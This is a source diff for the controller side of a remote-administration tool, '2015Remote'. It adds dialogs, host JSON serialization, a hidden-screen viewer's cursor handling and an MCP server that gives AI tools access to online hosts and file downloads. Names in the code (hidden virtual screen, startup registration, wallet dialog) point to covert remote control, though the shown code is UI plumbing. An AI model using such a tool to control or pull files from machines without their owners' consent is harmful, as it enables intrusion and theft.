   <ItemGroup>
     <ClInclude Include="..\..\client\Audio.h" />
@@ -164,6 +170,7 @@
     <ClInclude Include="CDlgFileSend.h" />
     <ClInclude Include="..\..\client\reg_startup.h" />
     <ClInclude Include="HostInfo.h" />
+    <ClInclude Include="HostJson.h" />
     <ClInclude Include="CClientListDlg.h" />
     <ClInclude Include="context.h" />
     <ClInclude Include="CUpdateDlg.h" />
@@ -175,6 +182,7 @@
     <ClInclude Include="NotifyManager.h" />
     <ClInclude Include="NotifySettingsDlg.h" />
     <ClInclude Include="FrpsForSubDlg.h" />
+    <ClInclude Include="ShareHostDlg.h" />
     <ClInclude Include="TerminalModuleLoader.h" />
     <ClInclude Include="..\..\common\SafeString.h" />
     <ClInclude Include="NetworkDlg.h" />
@@ -189,7 +197,11 @@
     <ClInclude Include="PluginSettingsDlg.h" />
     <ClInclude Include="PreviewTipWnd.h" />
     <ClInclude Include="TriggerSettingsDlg.h" />
+    <ClInclude Include="McpServer.h" />
+    <ClInclude Include="McpSettingsDlg.h" />
     <ClInclude Include="CClientLog.h" />
+    <ClInclude Include="CActivityDialog.h" />
+    <ClInclude Include="LogSearchBar.h" />
   </ItemGroup>
   <ItemGroup>
     <ResourceCompile Include="2015Remote.rc" />
@@ -332,5 +344,9 @@
     <Image Include="res\Bitmap\Debug.bmp" />
     <Image Include="res\ClientLog.ico" />
     <Image Include="res\Bitmap\ClientLog.bmp" />
+    <Image Include="res\Bitmap\Forbidden.bmp" />
+    <Image Include="res\Bitmap\HistoryActivity.bmp" />
+    <Image Include="res\Bitmap\BrowseWnd.bmp" />
+    <Image Include="res\Bitmap\PortProxyAuto.bmp" />
   </ItemGroup>
 </Project>

server/2015Remote/BuildDlg.cpp

@@ -217,7 +217,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
     , m_strPort(_T(""))
     , m_strFindden(FLAG_FINDEN)
     , m_sGroupName(_T("default"))
-    , m_strEncryptIP(_T("是"))
+    , m_strEncryptIP(_L(_T("是")))
     , m_sInstallDir(_T(""))
     , m_sInstallName(_T(""))
     , m_sDownloadUrl(_T(""))

server/2015Remote/CActivityDialog.cpp

@@ -0,0 +1,100 @@
+// CActivityDialog.cpp: 历史活动展示对话框（一次性快照，无子连接）
+#include "stdafx.h"
+#include "afxdialogex.h"
+#include "CActivityDialog.h"
+#include "resource.h"
+#include "../../common/commands.h"
+
+IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx)
+
+CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
+    : CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
+{
+}
+
+CActivityDialog::~CActivityDialog()
+{
+}
+
+void CActivityDialog::DoDataExchange(CDataExchange* pDX)
+{
+    CDialogBase::DoDataExchange(pDX);
+    DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
+}
+
+BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase)
+    ON_WM_SIZE()
+END_MESSAGE_MAP()
+
+BOOL CActivityDialog::OnInitDialog()
+{
+    CDialogBase::OnInitDialog();
+    SetWindowText(_TR("历史活动") + " - " + m_IPAddress);
+    HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
+    SetIcon(hIcon, TRUE);
+    SetIcon(hIcon, FALSE);
+    // 用 Segoe UI：MBCS 工程里模板默认字体是 Microsoft Sans Serif（无 Dingbats 字形），
+    // 显式指定 Segoe UI，中文走字体链接到微软雅黑、Dingbats（✻/✦）走 Segoe UI Symbol 回退。
+    m_font.CreatePointFont(90, _T("Segoe UI"));
+    m_editLog.SetFont(&m_font);
+    // 重建为 Unicode 编辑框：这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。
+    RebuildEdit(m_editLog);
+    // 解除 EDIT 控件默认约 64KB 长度上限，否则大快照经 SetWindowTextW 会被静默截断。
+    m_editLog.SetLimitText(0);
+    return TRUE;
+}
+
+void CActivityDialog::RebuildEdit(CEdit& m_edit)
+{
+    CRect rc;
+    m_edit.GetWindowRect(&rc);
+    ScreenToClient(&rc);
+    DWORD style = m_edit.GetStyle();
+    DWORD exStyle = m_edit.GetExStyle();
+    HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
+    UINT  ctrlID = m_edit.GetDlgCtrlID();
+    m_edit.DestroyWindow();
+    HWND hEdit = ::CreateWindowExW(
+        exStyle, L"EDIT", L"", style,
+        rc.left, rc.top, rc.Width(), rc.Height(),
+        this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
+        AfxGetInstanceHandle(), NULL);
+    m_edit.Attach(hEdit);
+    if (hFont)
+        m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+}
+
+void CActivityDialog::OnSize(UINT nType, int cx, int cy)
+{
+    CDialogBase::OnSize(nType, cx, cy);
+    if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
+        m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
+}
+
+// 快照模式：无子连接，OnReceiveComplete 空实现（纯虚函数必须覆盖）
+void CActivityDialog::OnReceiveComplete()
+{
+}
+
+void CActivityDialog::AppendLog(const std::string& text)
+{
+    if (text.empty()) return;
+
+    // \n → \r\n，Windows 编辑框换行需要 \r\n
+    std::string norm;
+    norm.reserve(text.size() + 64);
+    for (size_t i = 0; i < text.size(); ++i) {
+        if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
+            norm += '\r';
+        norm += text[i];
+    }
+
+    // 服务端是 MBCS 工程，编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码；
+    // 与"活动窗口"列一致，用 W 接口显示：先把 UTF-8 转成宽字符，再走 WM_SETTEXTW 写入。
+    // （编辑框已在 OnInitDialog 中重建为 Unicode 窗口，SetWindowTextW 不会经过 CP_ACP 回转。）
+    int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0);
+    if (wlen <= 0) return;
+    std::wstring w(wlen, L'\0');
+    MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen);
+    ::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str());
+}

server/2015Remote/CActivityDialog.h

@@ -0,0 +1,36 @@
+#pragma once
+#include "afxcmn.h"
+#include "IOCPServer.h"
+
+class CActivityDialog : public CDialogBase
+{
+    DECLARE_DYNAMIC(CActivityDialog)
+
+public:
+    CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
+    virtual ~CActivityDialog();
+
+    virtual void OnReceiveComplete();
+    void AppendLog(const std::string& text);
+
+protected:
+    virtual BOOL OnInitDialog();
+    virtual void DoDataExchange(CDataExchange* pDX);
+    afx_msg void OnSize(UINT nType, int cx, int cy);
+
+    DECLARE_MESSAGE_MAP()
+
+private:
+    // 把编辑框重建为 Unicode 类窗口（同 CKeyBoardDlg::RebuildEdit）。
+    // 工程是 MBCS，对话框模板创建的是 ANSI 编辑框，SetWindowTextW 会在 W->A
+    // 边界用 CP_ACP 转码，Dingbats（✻/✦）等字符会变 ?。重建为 Unicode 后
+    // W 版消息直通，不再走 CP_ACP。
+    void RebuildEdit(CEdit& m_edit);
+
+    CEdit m_editLog;
+    CFont m_font;   // 编辑框字体（成员持有，随对话框销毁，避免堆泄漏）
+
+#ifdef AFX_DESIGN_TIME
+    enum { IDD = IDD_DIALOG_CLIENT_LOG };
+#endif
+};

server/2015Remote/CClientLog.cpp

@@ -37,9 +37,9 @@ BOOL CClientLog::OnInitDialog()
     HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
     SetIcon(hIcon, TRUE);
     SetIcon(hIcon, FALSE);
-    CFont* pFont = new CFont();
+    m_font.CreatePointFont(85, _T("Consolas"));
-    pFont->CreatePointFont(85, _T("Consolas"));
+    m_editLog.SetFont(&m_font);
-    m_editLog.SetFont(pFont);
+    m_editLog.SetLimitText(0);   // 解除 EDIT 控件默认长度上限，改由 AppendLog 的 512KB 逻辑管理
     return TRUE;
 }
 

server/2015Remote/CClientLog.h

@@ -24,6 +24,7 @@ protected:
 
 private:
     CEdit m_editLog;
+    CFont m_font;
 
 #ifdef AFX_DESIGN_TIME
     enum { IDD = IDD_DIALOG_CLIENT_LOG };

server/2015Remote/CIconButton.cpp

@@ -551,6 +551,18 @@ void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
     DrawLetterIcon(pDC, rc, _T("Z"));
 }
 
+// Letter C icon (获取剪贴板)
+void CIconButton::DrawIconLetterC(CDC* pDC, const CRect& rc)
+{
+    DrawLetterIcon(pDC, rc, _T("C"));
+}
+
+// Letter P icon (设置剪贴板)
+void CIconButton::DrawIconLetterP(CDC* pDC, const CRect& rc)
+{
+    DrawLetterIcon(pDC, rc, _T("P"));
+}
+
 // Audio On: speaker with sound waves
 void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
 {

server/2015Remote/CIconButton.h

@@ -46,6 +46,8 @@ public:
     static void DrawIconLetterX(CDC* pDC, const CRect& rc);  // 字母 X 图标
     static void DrawIconLetterY(CDC* pDC, const CRect& rc);  // 字母 Y 图标
     static void DrawIconLetterZ(CDC* pDC, const CRect& rc);  // 字母 Z 图标
+    static void DrawIconLetterC(CDC* pDC, const CRect& rc);  // 字母 C 图标 (获取剪贴板)
+    static void DrawIconLetterP(CDC* pDC, const CRect& rc);  // 字母 P 图标 (设置剪贴板)
     static void DrawIconAudioOn(CDC* pDC, const CRect& rc);  // 音频开启图标 (喇叭+声波)
     static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
 

server/2015Remote/CPreviewLevelsDlg.h

@@ -0,0 +1,121 @@
+// CPreviewLevelsDlg.h
+// 屏幕预览质量等级配置对话框：编辑 6 档 PreviewProfile（编码宽度 / JPEG 质量）。
+// 纯主控端 UI 偏好，持久化由 CMy2015RemoteDlg::SavePreviewProfilesToCfg() 负责。
+// 仅在 2015RemoteDlg.cpp 中 include 一次（头文件内联实现，勿多处包含）。
+#pragma once
+
+#include "LangManager.h"
+
+class CPreviewLevelsDlg : public CDialog
+{
+public:
+    enum { IDD = IDD_PREVIEW_LEVELS };
+
+    // profiles: 指向 6 元素 PreviewProfile 数组，确认后写回
+    CPreviewLevelsDlg(PreviewProfile* profiles, CWnd* pParent = NULL)
+        : CDialog(CPreviewLevelsDlg::IDD, pParent), m_profiles(profiles)
+    {
+    }
+
+protected:
+    PreviewProfile* m_profiles;
+    PreviewProfile  m_working[QUALITY_COUNT];
+
+    static const char* LevelName(int i)
+    {
+        static const char* names[QUALITY_COUNT] = {
+            "Ultra", "High", "Good", "Medium", "Low", "Minimal"
+        };
+        return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
+    }
+
+    void LoadToControls()
+    {
+        CString s;
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            s.Format(_T("%d"), m_working[i].maxWidth);
+            SetDlgItemText(IDC_PLEVEL_WIDTH + i, s);
+            s.Format(_T("%d"), m_working[i].jpegQuality);
+            SetDlgItemText(IDC_PLEVEL_QUALITY + i, s);
+        }
+    }
+
+    bool ReadInt(int id, int& out)
+    {
+        CString s;
+        GetDlgItemText(id, s);
+        s.Trim();
+        if (s.IsEmpty()) return false;
+
+        int v = 0;
+        for (int k = 0; k < s.GetLength(); k++) {
+            TCHAR ch = s[k];
+            if (ch < _T('0') || ch > _T('9')) return false;
+            v = v * 10 + (ch - _T('0'));
+        }
+        out = v;
+        return true;
+    }
+
+    bool ReadFromControls(CString& err)
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            int w, q;
+            if (!ReadInt(IDC_PLEVEL_WIDTH + i, w))
+            { err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
+            if (!ReadInt(IDC_PLEVEL_QUALITY + i, q))
+            { err.Format(_T("等级 %s 的 JPEG 质量不是有效数字"), LevelName(i)); return false; }
+
+            if (w < 64 || w > 2560)
+            { err.Format(_T("等级 %s 的最大宽度需在 64~2560 之间"), LevelName(i)); return false; }
+            if (q < 1 || q > 100)
+            { err.Format(_T("等级 %s 的 JPEG 质量需在 1~100 之间"), LevelName(i)); return false; }
+
+            m_working[i].maxWidth    = w;
+            m_working[i].jpegQuality = q;
+        }
+        return true;
+    }
+
+    void ResetToDefaults()
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = GetScreenPreviewProfile(i);
+        }
+        LoadToControls();
+    }
+
+    virtual BOOL OnInitDialog() override
+    {
+        CDialog::OnInitDialog();
+
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = m_profiles[i];
+        }
+        LoadToControls();
+        TranslateDialog(this);
+        return TRUE;
+    }
+
+    virtual void OnOK() override
+    {
+        CString err;
+        if (!ReadFromControls(err)) {
+            MessageBox(err, _TR("提示"), MB_ICONWARNING);
+            return;
+        }
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_profiles[i] = m_working[i];
+        }
+        CDialog::OnOK();
+    }
+
+    virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
+    {
+        if (LOWORD(wParam) == IDC_PLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
+            ResetToDefaults();
+            return TRUE;
+        }
+        return CDialog::OnCommand(wParam, lParam);
+    }
+};

server/2015Remote/CWalletDlg.cpp

@@ -107,7 +107,7 @@ void CWalletDlg::OnOK()
         if (a[i].IsEmpty()) continue;
         if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
             char tip[100];
-            sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
+            sprintf(tip, _TRF("第 %d 个钱包地址不合法!"), i + 1);
             MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
             return;
         }

server/2015Remote/FeatureFlags.h

@@ -88,7 +88,9 @@ typedef struct FeatureFlags {
 #define MF_MASTER_TRAIL       (1ULL << 41)  // HIDE_MENU_MASTER_TRAIL
 #define MF_REQUEST_AUTH       (1ULL << 42)  // HIDE_MENU_REQUEST_AUTH
 
-// [43-63] Reserved
+#define MF_MCP_SETTINGS       (1ULL << 43)  // HIDE_MENU_MCP_SETTINGS
+
+// [44-63] Reserved
 
 
 // ============================================================

server/2015Remote/HideScreenSpyDlg.cpp

@@ -6,6 +6,7 @@
 #include "InputDlg.h"
 #include "CTextDlg.h"
 #include "HideScreenSpyDlg.h"
+#include "2015RemoteDlg.h"
 #include <windows.h>
 
 #ifdef _DEBUG
@@ -43,6 +44,8 @@ IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
 bool DirectoryExists(const char* path);
 std::string GetScreenShotPath(CWnd* parent, const CString& ip, const CString& filter, const CString& suffix);
 
+extern CMy2015RemoteDlg* g_2015RemoteDlg;
+
 CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
     : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
 {
@@ -90,11 +93,33 @@ BEGIN_MESSAGE_MAP(CHideScreenSpyDlg, CDialog)
     ON_WM_PAINT()
     ON_WM_TIMER()
     ON_WM_CLOSE()
+    ON_WM_SETCURSOR()
 END_MESSAGE_MAP()
 
 
 /////////////////////////////////////////////////////////////////////////////
 // CHideScreenSpyDlg message handlers
+BOOL CHideScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
+{
+    // 查看模式(未开启远程控制)：客户区显示禁止图标；标题栏及系统按钮保持正常箭头，
+    // 便于拖动窗口或通过标题栏右键菜单开启远程控制。
+    // 这里按窗口自身状态判断，避免用窗口类光标(GCLP_HCURSOR)时被同类的其他对话框实例
+    // 共享串扰——第二个对话框切到查看模式后，第一个控制中的对话框也被误显示成禁止图标。
+    if (!m_bIsCtrl && nHitTest == HTCLIENT) {
+        ::SetCursor(LoadCursor(NULL, IDC_NO));
+        return TRUE;
+    }
+    if (!m_bIsCtrl &&
+        (nHitTest == HTCAPTION || nHitTest == HTSYSMENU || nHitTest == HTMENU ||
+         nHitTest == HTCLOSE || nHitTest == HTMINBUTTON || nHitTest == HTMAXBUTTON ||
+         nHitTest == HTHELP)) {
+        ::SetCursor(LoadCursor(NULL, IDC_ARROW));
+        return TRUE;
+    }
+    // 控制模式：交父类处理，显示窗口类光标（远程光标形状）
+    return __super::OnSetCursor(pWnd, nHitTest, message);
+}
+
 void CHideScreenSpyDlg::OnClose()
 {
     if (!m_aviFile.IsEmpty()) {
@@ -153,11 +178,22 @@ bool CHideScreenSpyDlg::SaveSnapshot()
     return true;
 }
 
+CString CHideScreenSpyDlg::GetTitleHostName() const
+{
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    if (g_2015RemoteDlg && g_2015RemoteDlg->m_ClientMap) {
+        CString note = g_2015RemoteDlg->m_ClientMap->GetClientMapData(GetClientID(), MAP_NOTE);
+        if (!note.IsEmpty())
+            return note;
+    }
+    return m_IPAddress;
+}
+
 BOOL CHideScreenSpyDlg::OnInitDialog()
 {
     __super::OnInitDialog();
     CString strString;
-    strString.FormatL("%s - 远程虚拟屏幕 %d×%d", m_IPAddress,
+    strString.FormatL("%s - 远程虚拟屏幕 %d×%d", GetTitleHostName().GetString(),
                       m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
     SetWindowText(strString);
 
@@ -165,7 +201,6 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
     // when the application's main window is not a dialog
     SetIcon(m_hIcon, TRUE);			// Set big icon
     SetIcon(m_hIcon, FALSE);		// Set small icon
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
     CMenu* pSysMenu = GetSystemMenu(FALSE);
     if (pSysMenu != NULL) {
         pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
@@ -214,15 +249,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
     }
 
     // TODO: Add extra initialization here
-    m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
-    ICONINFO CursorInfo;
-    ::GetIconInfo(m_hRemoteCursor, &CursorInfo);
     pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
-    if (CursorInfo.hbmMask != NULL)
-        ::DeleteObject(CursorInfo.hbmMask);
-    if (CursorInfo.hbmColor != NULL)
-        ::DeleteObject(CursorInfo.hbmColor);
     // 初始化窗口大小结构
     m_hFullDC = ::GetDC(m_hWnd);
     m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
@@ -241,7 +268,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
 #ifdef _DEBUG
     // ShowWindow(SW_MINIMIZE);
 #endif
-    m_strTip = CString("请等待......");
+    m_strTip = _TR("请等待......");
     return TRUE;  // return TRUE unless you set the focus to a control
     // EXCEPTION: OCX Property Pages should return FALSE
 }
@@ -440,11 +467,6 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
     case IDM_CONTROL: {
         m_bIsCtrl = !m_bIsCtrl;
         pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
-
-        if (m_bIsCtrl) {
-            SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
-        } else
-            SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
     }
     break;
 

server/2015Remote/HideScreenSpyDlg.h

@@ -59,6 +59,7 @@ public:
     afx_msg void OnPaint();
     afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
     afx_msg void OnSize(UINT nType, int cx, int cy);
+    afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
 
     virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
 
@@ -71,11 +72,13 @@ protected:
     bool JPG_BMP(int cbit, void* input, int inlen, void* output);
     void ResetScreen();
 
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    CString GetTitleHostName() const;
+
     HDC                 m_hFullDC, m_hFullMemDC;
     HBITMAP	            m_BitmapHandle;
     LPVOID              m_BitmapData_Full;
     LPBITMAPINFO        m_BitmapInfor_Full;
-    HCURSOR	            m_hRemoteCursor;
     CCursorInfo	        m_CursorInfo;
     BOOL                m_bIsFirst;
     BOOL                m_bIsCtrl;

server/2015Remote/HostJson.cpp

@@ -0,0 +1,117 @@
+#include "stdafx.h"
+#include "HostJson.h"
+#include "HostInfo.h"          // _ClientList / MAP_NOTE
+#include "context.h"           // context 接口 + ONLINELIST_* 枚举
+#include "2015RemoteDlg.h"     // GetClientEncoding 辅助函数（UTF-8 能力位判断）
+
+#ifndef _WIN64
+#ifdef _DEBUG
+#pragma comment(lib, "jsoncpp/jsoncppd.lib")
+#else
+#pragma comment(lib, "jsoncpp/jsoncpp.lib")
+#endif
+#else
+#ifdef _DEBUG
+#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
+#else
+#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
+#endif
+#endif
+
+// Helper: Convert ANSI (GBK) string to UTF-8
+// （自 WebService.cpp 抽出，供 BuildDeviceListJson 与 BuildHostJson 共用）
+static std::string AnsiToUtf8(const CString& str) {
+    if (str.IsEmpty()) return "";
+#ifdef _UNICODE
+    // Unicode build: CString is already UTF-16, convert to UTF-8
+    int len = WideCharToMultiByte(CP_UTF8, 0, str, -1, NULL, 0, NULL, NULL);
+    if (len <= 0) return "";
+    std::string result(len - 1, '\0');
+    WideCharToMultiByte(CP_UTF8, 0, str, -1, &result[0], len, NULL, NULL);
+    return result;
+#else
+    // MBCS build: CString is ANSI (GBK), need to convert to UTF-16 first, then to UTF-8
+    int wlen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
+    if (wlen <= 0) return "";
+    std::wstring wstr(wlen - 1, L'\0');
+    MultiByteToWideChar(CP_ACP, 0, str, -1, &wstr[0], wlen);
+
+    int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+    if (u8len <= 0) return "";
+    std::string result(u8len - 1, '\0');
+    WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &result[0], u8len, NULL, NULL);
+    return result;
+#endif
+}
+
+Json::Value BuildHostJson(context* ctx, _ClientList* clientMap) {
+    Json::Value device;
+
+    if (!ctx) return device;  // 空 context → 返回 null Json::Value
+
+    // Use string for ID to avoid JavaScript number precision loss
+    device["id"] = std::to_string(ctx->GetClientID());
+
+    CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
+    device["name"] = AnsiToUtf8(name);
+
+    // 用户在 MFC 端给这台主机起的备注（菜单"修改备注"写入 MAP_NOTE）
+    if (clientMap) {
+        CString remark = clientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
+        if (!remark.IsEmpty()) {
+            device["remark"] = AnsiToUtf8(remark);
+        }
+    }
+
+    CString ip = ctx->GetClientData(ONLINELIST_IP);
+    device["ip"] = AnsiToUtf8(ip);
+
+    CString os = ctx->GetClientData(ONLINELIST_OS);
+    device["os"] = AnsiToUtf8(os);
+
+    CString location = ctx->GetClientData(ONLINELIST_LOCATION);
+    device["location"] = AnsiToUtf8(location);
+
+    CString rtt = ctx->GetClientData(ONLINELIST_PING);
+    device["rtt"] = AnsiToUtf8(rtt);
+
+    CString version = ctx->GetClientData(ONLINELIST_VERSION);
+    device["version"] = AnsiToUtf8(version);
+
+    // 活动窗口编码由客户端能力位决定：新客户端是 UTF-8，老客户端是 CP_ACP（默认 936）。
+    // 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
+    CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
+    std::string activeWindowU8;
+    if (!activeWindow.IsEmpty()) {
+        UINT cp = GetClientEncoding(ctx);
+        int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
+        if (wlen > 1) {
+            std::wstring w(wlen - 1, L'\0');
+            MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
+            int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
+            if (u8len > 1) {
+                activeWindowU8.resize(u8len - 1);
+                WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
+            }
+        }
+    }
+    device["activeWindow"] = activeWindowU8;
+    device["online"] = true;
+
+    // Add device group to response
+    std::string deviceGroup = ctx->GetGroupName();
+    if (deviceGroup.empty()) deviceGroup = "default";
+    device["group"] = deviceGroup;
+
+    // Get screen info from client's reported resolution
+    // Format: "n:MxN" where n=monitor count, M=width, N=height
+    CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
+    if (!resolution.IsEmpty()) {
+        device["screen"] = AnsiToUtf8(resolution);  // e.g. "2:3840x1080"
+    }
+
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    device["clientType"] = AnsiToUtf8(clientType);  // e.g. "MAC", "LNX", "EXE"
+
+    return device;
+}

server/2015Remote/HostJson.h

@@ -0,0 +1,15 @@
+#pragma once
+
+#include "jsoncpp/json.h"
+
+class context;
+class _ClientList;
+
+// 公共函数：将单台在线主机 context 序列化为 JSON（UTF-8，含 GBK/UTF-8 编码处理）。
+// 供 Web UI（CWebService::BuildDeviceListJson）与 MCP 工具（list_online_hosts）复用，
+// 避免两处重复易错的编码转换（见 docs/Mcp_Design.md §3.4 方案 C）。
+//
+// 职责边界：本函数只负责「单台主机 → Json::Value」的字段序列化与编码转换。
+// 分组/用户过滤、m_cs 加锁、外层结构（Web 的 {"cmd","devices"} vs MCP 的 {"hosts"}）
+// 属于调用方，不进本函数。调用方须在 m_cs 锁内调用。
+Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);

server/2015Remote/LangManager.h

@@ -703,12 +703,13 @@ protected:
         if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
         if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
         if (langCode == _T("en_US")) return _T("English");
+        if (langCode == _T("de_DE")) return _T("Deutsch");
         return langCode;
     }
 
     LPCDLGTEMPLATE CreateDialogTemplate()
     {
-        const WORD DLG_WIDTH = 200;
+        const WORD DLG_WIDTH = 260;
         const WORD DLG_HEIGHT = 75;
 
         m_templateBuffer.clear();
@@ -722,24 +723,24 @@ protected:
         AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
         AppendWord(0);  // 菜单
         AppendWord(0);  // 窗口类
-        AppendString(_T("Select Language"));
+        AppendString(_T("切换语言 / Switch Language"));
         AlignToDword();
 
         // 静态文本
         AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
-                   SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:"));
+                   SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
 
         // ComboBox
-        AddControl(0x0085, 65, 13, 120, 150, 1001,
+        AddControl(0x0085, 65, 13, 180, 150, 1001,
                    CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
 
         // OK 按钮
-        AddControl(0x0080, 45, 50, 50, 14, IDOK,
+        AddControl(0x0080, 75, 50, 50, 14, IDOK,
-                   BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK"));
+                   BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
 
         // Cancel 按钮
-        AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
+        AddControl(0x0080, 135, 50, 50, 14, IDCANCEL,
-                   BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel"));
+                   BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
 
         return (LPCDLGTEMPLATE)m_templateBuffer.data();
     }

server/2015Remote/McpServer.h

@@ -0,0 +1,390 @@
+#pragma once
+
+#include <Windows.h>
+#include <string>
+#include <thread>
+#include <atomic>
+#include <chrono>
+#include <mutex>
+#include <condition_variable>
+#include <map>
+#include <set>
+#include <vector>
+#include <cstdint>
+#include <ctime>
+
+// httplib 与 Windows 头部的 min/max 宏冲突，按 file_server.h 的既有约定处理。
+#undef min
+#undef max
+#include "httplib.h"
+#ifndef max
+#define max(a,b) (((a) > (b)) ? (a) : (b))
+#endif
+#ifndef min
+#define min(a,b) (((a) < (b)) ? (a) : (b))
+#endif
+
+#pragma comment(lib, "ws2_32.lib")
+
+class CMy2015RemoteDlg;
+class context;
+
+// 文件传输结果条目（download_file 输出 files[] 的一项）。
+// path 为本机落盘绝对路径（ANSI，输出 JSON 时再转 UTF-8）；sha256 为小写 hex。
+struct FileTransferEntry {
+    std::string path;
+    uint64_t    size = 0;
+    std::string sha256;
+};
+
+// MCP (Model Context Protocol) 服务端：httplib 封装 + JSON-RPC 2.0 分发 + 静态 token 校验。
+// 与 CWebService 平级、互不依赖；默认禁用，经「扩展 → MCP设置」开启后监听
+// （默认 127.0.0.1:6544，仅本机回环）。见 docs/Mcp_Design.md。
+class CMcpServer {
+public:
+    static CMcpServer& Instance();
+
+    void SetParentDlg(CMy2015RemoteDlg* pDlg) { m_parent = pDlg; }
+    void SetToken(const std::string& token) { m_token = token; }
+
+    bool Start(const std::string& bind, int port);
+    void Stop();
+    bool IsRunning() const { return m_running.load(); }
+
